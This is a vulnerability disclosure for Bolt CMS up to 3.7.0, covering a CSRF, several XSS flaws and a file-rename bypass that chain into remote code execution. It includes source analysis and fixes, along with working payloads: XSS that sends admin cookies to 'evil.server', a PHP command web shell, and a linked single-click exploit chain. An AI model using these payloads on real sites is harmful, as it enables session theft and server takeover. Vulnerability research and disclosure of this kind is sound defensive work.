# Bolt CMS <= 3.7.0 Multiple Vulnerabilities #
##########################################################################
Author - Sivanesh Ashok | @sivaneshashok | stazot.com
Date : 2020-03-24
Vendor : https://bolt.cm/
Version : <= 3.7.0
CVE : CVE-2020-4040, CVE-2020-4041
Last Modified: 2020-07-03
--[ Table of Contents
00 - Introduction
01 - Exploit
02 - Cross-Site Request Forgery (CSRF)
02.1 - Source code analysis
02.2 - Exploitation
02.3 - References
03 - Cross-Site Scripting (XSS)
03.1 - Preview generator
03.1.1 - Exploitation
03.2 - System Log
03.2.1 - Source code analysis
03.2.2 - Exploitation
03.3 - File name
03.3.1 - Source code analysis
03.3.2 - Exploitation
03.3.3 - References
03.4 - JS file upload
03.4.1 - Exploitation
03.5 - CKEditor4
03.5.1 - Exploitation
04 - Remote Code Execution
04.1 - Source code analysis
04.2 - Exploitation
04.3 - References
05 - Solution
06 - Contact
--[ 00 - Introduction
Bolt CMS is an open-source content management tool. This article
details
the multiple vulnerabilities that I found in the application.
The
vulnerabilities when chained together, resulted in a single-click
RCE which
would allow an attacker to remotely take over the server. The link
to the
exploit is provided in the next section.
--[ 01 - Exploit
Chaining all the bugs together results in a single-click RCE.
The exploit
that does that can be found in the link below.
https://github.com/staz0t/exploits/blob/master/SA20200324_boltcms_csrf_to_rce.html
Host the exploit code in a webpage and send the link to the
admin. When the
admin opens the link, backdoor.php gets uploaded and can be
accessed via,
http://targetbolt.com/files/backdoor.php?cmd={insert_cmd_here}
--[ 02 - Cross-Site Request Forgery (CSRF)
Bolt CMS lacks CSRF protection in the preview generating
endpoint. Previews
are intended to be generated by the admins, developers,
chief-editors, and
editors, who are authorized to create content in the application.
But due
to lack of CSRF protection, an unauthorized attacker can generate
a
preview. This CSRF by itself does not have a huge impact. But this
will be
used with the XSS, which are described below.
--[ 02.1 - Source code analysis
The preview generation is done
by preview() function which is defined in
vendor/bolt/bolt/src/Controller/Frontend.php:200 and there is no
token
verification present in the function.
--[ 02.2 - Exploitation
The request that is can be forged is,
----[ request ]----
POST /preview/page HTTP/1.1
Host: localhost
content_edit[_token]=hTgbvurWl5fZ4m20bnb1AZCRrv8wFT0hzvjQi1TMW_wcontenttype=pages&title=title&slug=testpage1&teaser=teaser1&body=body1&id=1337
----[ request ]----
To exploit this vulnerability an attacker has to,
1. Make an HTML page with a form that has the required
parameters shown
above. The content_edit[_token] is not required.
2. Use JS to auto-submit the form.
3. Host it on a website and send the link to the victim. i.e.,
an
authorized user.
When the victim opens the link, the browser will send the
request to the
server and will follow the redirect to the preview page.
This CSRF by itself does not have a huge impact. But this will
be used with
the XSS, which are described below.
--[ 02.3 - References
[CVE-2020-4040] - https://github.com/bolt/bolt/security/advisories/GHSA-2q66-6cc3-6xm8
--[ 03 - Cross-Site Scripting (XSS)
The application is vulnerable to XSS in multiple endpoints,
which could be
exploited by an attacker to execute javascript code in the context
of the
victim user.
--[ 03.1 - Preview generator
The app uses CKEditor to get input from the users and hence any
unsafe
inputs are filtered. But the request can be intercepted and
manipulated to
add javascript in the content, which gets executed in the preview
page.
Hence the preview generator is vulnerable to reflected XSS.
--[ 03.1.1 - Exploitation
----[ request ]----
POST /preview/page HTTP/1.1
Host: localhost
contenttype=pages&title=title&slug=testpage1&teaser=teaser1&body=<script>alert(1)</script>&id=151
----[ request ]----
----[ response ]----
.
.
.
<p class="meta">
Written by <em>Unknown</em> on Monday March 23,
2020
</p>
teaser1
<script>alert(1)</script>
.
.
.
----[ response ]----
As shown above the payload in the request's body parameter is
reflected in
the response. An attacker can chain the above explained CSRF with
this
vulnerability to execute javascript code on the context of the
victim user.
--[ 03.2 - System Log
The 'display name' of the users is vulnerable to stored XSS. The
value is
not encoded when displayed in the system log, by the functionality
that
logs the event when an authorized user enables, disables or deletes
user
accounts. The unencoded 'display name' is displayed in the system
log,
hence allowing the execution of javascript in the context of admin
or
developer since those are the roles that are allowed to access the
system
log, by default.
--[ 03.2.1 - Source code analysis
The vulnerability is in the
vendor/bolt/bolt/src/Controller/Backend/Users.php where the user
actions
are performed and logged. There are two variables that store and
are used
to display user data in this code. $user and $userEntity. It can be
seen
that $userEntity is initiated with the values after being passed
to
$form->isValid(). This shows that $user has the unencoded input
and
$userEntity has the encoded input.
In line 341, the code adds an entry to the log when a user
updates their
profile. It can be seen that it uses
$userEntity->getDisplayName(), hence
the displayed user input is encoded. But in line 279, there is a
switch
case condition that logs the respective actions of enable, disable,
delete
in the system log.
----[ code segment ]----
switch ($action) {
case 'disable':
if ($this->users()->setEnabled($id, false)) {
$this->app['logger.system']->info("Disabled user
'{$user->getDisplayname()}'.", ['event' => 'security']);
$this->flashes()->info(Trans::__('general.phrase.user-disabled',
['%s' => $user->getDisplayname()]));
} else {
$this->flashes()->info(Trans::__('general.phrase.user-failed-disabled',
['%s' => $user->getDisplayname()]));
}
break;
case 'enable':
if ($this->users()->setEnabled($id, true)) {
$this->app['logger.system']->info("Enabled user
'{$user->getDisplayname()}'.", ['event' => 'security']);
$this->flashes()->info(Trans::__('general.phrase.user-enabled',
['%s' => $user->getDisplayname()]));
} else {
$this->flashes()->info(Trans::__('general.phrase.user-failed-enable',
['%s' => $user->getDisplayname()]));
}
break;
case 'delete':
if ($this->isCsrfTokenValid() &&
$this->users()->deleteUser($id)) {
$this->app['logger.system']->info("Deleted user
'{$user->getDisplayname()}'.", ['event' => 'security']);
$this->flashes()->info(Trans::__('general.phrase.user-deleted',
['%s' => $user->getDisplayname()]));
} else {
$this->flashes()->info(Trans::__('general.phrase.user-failed-delete',
['%s' => $user->getDisplayname()]));
}
break;
default:
$this->flashes()->error(Trans::__('general.phrase.no-such-action-for-user',
['%s' => $user->getDisplayname()]));
}
---- [ code segment ]----
As shown above, the code uses $user->getDisplayName() instead
of
$userEntity->getDisplayName(), which leads to the display of
unencoded user
input.
--[ 03.2.2 - Exploitation
Here is how an attacker with any role can execute javascript
code in the
context of the victim.
1. Log in and go to your profile settings and set your display
name to
some javascript payload.
For example,
<script>document.write('<img
src="https://evil.server/?cookie='+document.cookie+'"/>')</script>
This payload will send the admin's cookies to attacker's server
2. Now request the admin (or the victim user) to disable your account.
When the admin visits the system log or the mini system log that
is shown
on the right side of the Users & Permissions page, the payload
gets
executed in the admin's browser.
--[ 03.3 - Filename
The file name is vulnerable to stored XSS. It is not possible to
inject
javascript code in the file name when creating/uploading the file.
But,
once created/uploaded, it can be renamed to inject the payload in
it.
--[ 03.3.1 - Source code analysis
The function that is responsible for renaming files is
renameFile(), which
is defined in
vendor/bolt/bolt/src/Controller/Async/FilesystemManager.php:335
----[ code segment ]----
public function renameFile(Request $request)
{
// Verify CSRF token
$this->checkToken($request);
$namespace = $request->request->get('namespace');
$parent = $request->request->get('parent');
$oldName = $request->request->get('oldname');
// value assigned without any validation
$newName = $request->request->get('newname');
if (!$this->isExtensionChangedAndIsChangeAllowed($oldName,
$newName)) {
return
$this->json(Trans::__('general.phrase.only-root-change-file-extensions'),
Response::HTTP_FORBIDDEN);
}
if ($this->validateFileExtension($newName) === false) {
return $this->json( sprintf("File extension not allowed: %s",
$newName), Response::HTTP_BAD_REQUEST);
}
try {
// renaming with the same unvalidated value
$this->filesystem()->rename("$namespace://$parent/$oldName",
"$parent/$newName");
return $this->json($newName, Response::HTTP_OK);
} catch (ExceptionInterface $e) {
$msg = Trans::__('Unable to rename file: %FILE%', ['%FILE%' =>
$oldName]);
$this->logException($msg, $e);
if ($e instanceof FileExistsException) {
$status = Response::HTTP_CONFLICT;
} elseif ($e instanceof FileNotFoundException) {
$status = Response::HTTP_NOT_FOUND;
} else {
$status = Response::HTTP_INTERNAL_SERVER_ERROR;
}
return $this->json($msg, $status);
}
}
----[ code segment ]----
As shown above, $newName is initiated with value directly from
the request,
without any validation or filtering. This allows an attacker to
inject
javascript code in the name while renaming, making it vulnerable to
stored
XSS.
A interesting thing is, if the server is hosted on Windows it is
not
possible to create files with special characters like <, >.
So if this
attack is tried on Bolt CMS that is hosted on Windows it will not
work. But
Linux allows special characters in file names. So, this works only
if the
application is hosted on a Linux machine.
--[ 03.3.2 - Exploitation
1. Create or upload a file.
2. Rename it to inject javascript code in it.
For example,
<script>document.write('<img
src="https://evil.server/?cookie='+document.cookie+'"/>')</script>
This payload will send the victim's cookies to attacker's
server
3. When the admin (or the victim user) visits the file
management page, the
payload gets executed.
--[ 03.3.3 - References
[CVE-2020-4041] - https://github.com/bolt/bolt/security/advisories/GHSA-68q3-7wjp-7q3j
--[ 03.4 - JS file upload
This stored XSS is a logical flaw in the application. By default
in the
config.yml file, the application allows the following file
types.
----[ code segment ]----
accept_file_types: [ twig, html, js, css, scss, gif, jpg, jpeg,
png,
ico, zip, tgz, txt, md, doc, docx, pdf, epub, xls, xlsx, ppt, pptx,
mp3,
ogg, 1wav, m4a, mp4, m4v, ogv, wmv, avi, webm, svg ]
----[ code segment ]----
It can be seen that it allows js and HTML files.
--[ 03.4.1 - Exploitation
An attacker with permission to upload files can exploit this to
to upload
an HTML file with some javascript in it or include the uploaded js
file
into the HTML. When the victim visits the uploaded file, the
javascript
code gets executed in the context of the victim.
--[ 03.5 - CKEditor4
Bolt CMS uses CKEditor4 in the blogs to get input. CKEditor4 by
default
filters malicious HTML attributes but not the src attribute. So, it
can be
exploited by using javscript URL in the src of an iframe. It is
important
to not rely on CKEditor4 for XSS prevention since it is only a
client side
filter, and not a server-side validator.
--[ 03.5.1 - Exploitation
To exploit this vulnerability, an attacker with permission to
create/edit
blogs should,
1. Open the 'New Blog' page.
2. Select the 'source mode' in CKEditor4 and enter the
payload
<iframe src=javascript:alert(1)>
3. (optional) Switch back to WYSIWYG mode.
4. Post the blog.
When the victim visits the blog, the javascript code gets
executed in the
context of the victim.
Now, all these XSS vulnerabilities on the surface look like
simple
privilege escalation for an already authorized user, except for the
preview
generator. But chaining these with the CSRF, any unauthorized
attacker can
gain admin privileges, with little to no social engineering.
--[ 04 - Remote Code Execution
The application does not allow the upload of files with
'unsafe'
extensions, which include php and it's alternatives. But I bypassed
this
protection by crafting a file name that abuses the sanitization
functions.
An attacker with permissions to upload files can exploit this to
upload php
files and execute code on the server.
This vulnerability was chained with the above mentioned CSRF and
XSS to
achieve single-click RCE.
--[ 04.1 - Source code analysis
The function that validates the extension is
validateFileExtension() which
is defined
invendor/bolt/bolt/src/Controller/Async/FilesystemManager.php:462
----[ code segment ]----
private function validateFileExtension($filename)
{
// no UNIX-hidden files
if ($filename[0] === '.') {
return false;
}
// only whitelisted extensions
$extension = pathinfo($filename, PATHINFO_EXTENSION);
$allowedExtensions = $this->getAllowedUploadExtensions();
return $extension === '' ||
in_array(mb_strtolower($extension),
$allowedExtensions);
}
----[ code segment ]----
As shown in the above code segment, the return value returns a
value if the
extension is '' or if it is an allowed extension. The function
allows
files with no extension. So, I tried to upload a file with the
name
'backdoor.php.' The dot at the end makes the pathinfo() function
return
null. So the file gets accepted. But when you open the file in the
browser,
it does not execute it as php, but just as a plain text file.
The next step is to get the last dot removed.
Analyzing the rename() function defined in
vendor/bolt/filesystem/src/Filesystem.php:300, the function calls
another
function normalizePath($newPath) with the new path as a
parameter.
----[ code segment ]----
public function rename($path, $newPath)
{
$path = $this->normalizePath($path);
$newPath = $this->normalizePath($newPath);
$this->assertPresent($path);
$this->assertAbsent($newPath);
$this->doRename($path, $newPath);
}
----[ code segment ]----
The normalizePath() function is defined in the same file in line
823, acts
as a wrapper to Flysystem's normalizePath() function. It is being
used to
fetch the 'real' path of files. This is used to validate the file
location
etc. For example,
./somedir/../text.txt == ./text.txt == text.txt
So when './text.txt' is passed to this function, it returns 'text.txt'
So, to remove the last dot from our file name 'backdoor.php.', I
changed it
to 'backdoor.php/.' Passing it to normalizePath() it returns
'backdoor.php',
which is exactly what is needed.
So the data flow looks like, first the value 'backdoor.php/.' is
passed to
validateFileExtension() which returns NULL because there is no text
after
that last dot. So, the extesion filter is bypassed. Next, the same
value is
passed to normalizePath() which removes the last '/.' because it
looks like
it's a path to the current directory. At the end, the file gets
renamed to
'backdoor.php'
Pwned!
--[ 04.2 - Exploitation
To exploit this vulnerability, an attacker with permission to
upload files
should,
1. Create a php file with code that gives a backdoor.
For example,
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd =
($_REQUEST['cmd']); system($cmd); echo "</pre>"; die;
}?>
2. Rename the file with a dot at the end.
For example,
'backdoor.php.'
3. Upload the file and rename it to 'backdoor.php/.'
You will notice that it will get renamed to 'backdoor.php'
--[ 04.3 - References
https://stazot.com/boltcms-file-upload-bypass
--[ 05 - Solution
1. Validate the CSRF token before generating preview in
preview() function
- vendor/bolt/bolt/src/Controller/Frontend.php:200
2. Validate the user inputs to the preview generation endpoint
before
displaying them in preview() function -
vendor/bolt/bolt/src/Controller/Frontend.php:200
3. Use the variable that has the encoded value to display user
information.
i.e., use $userEntity instead of $user in -
vendor/bolt/bolt/src/Controller/Backend/Users.php:279
4. Validate the user inputs before renaming the files in
renameFile()
function in - /src/Controller/Async/FilesystemManager.php:335
5. Do not allow the upload of JS and HTML files. If that is
absolutely
required, then add it as a separate permission that the admin can
allocate
to certain roles and not everyone who has access to file
upload.
6. Enable CKEditor4's option to disallow javascript URLs. For
more
information, check
https://ckeditor.com/docs/ckeditor4/latest/api/CKEDITOR_config.html#cfg-linkJavaScriptLinksAllowed
7. Change the flow of data while renaming. First pass the data
through
normalizePath() data and then through validateFileExtension(). That
way,
the validation function validates the final value.
--[ 06 - Contact
Name : Sivanesh Ashok
Twitter: @sivaneshashok
Website: http://stazot.com
